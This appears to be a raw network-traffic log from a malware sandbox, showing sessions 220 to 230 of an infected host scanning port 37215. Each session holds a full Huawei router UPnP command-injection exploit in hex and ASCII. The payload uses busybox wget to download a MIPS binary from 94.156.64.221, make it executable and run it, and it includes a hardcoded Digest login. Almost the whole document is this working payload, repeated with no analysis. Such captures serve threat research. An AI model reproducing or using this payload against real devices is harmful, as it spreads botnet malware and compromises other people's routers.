2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.23	47716	197.148.143.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252700090 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.23	57592	156.94.219.6	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252727985 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.23	55648	197.218.44.219	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252765894 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.23	53806	197.239.209.224	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252809048 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.23	45532	41.232.72.207	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252847910 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.23	39892	197.176.79.105	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252899885 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.23	44394	41.24.85.120	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252942085 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.23	60494	156.68.148.229	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.252980947 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.23	55216	156.37.13.98	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253014088 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.23	54402	41.152.169.18	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253050089 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.23	55144	41.61.6.231	37215

Timestamp	Bytes transferred	Direction	Data
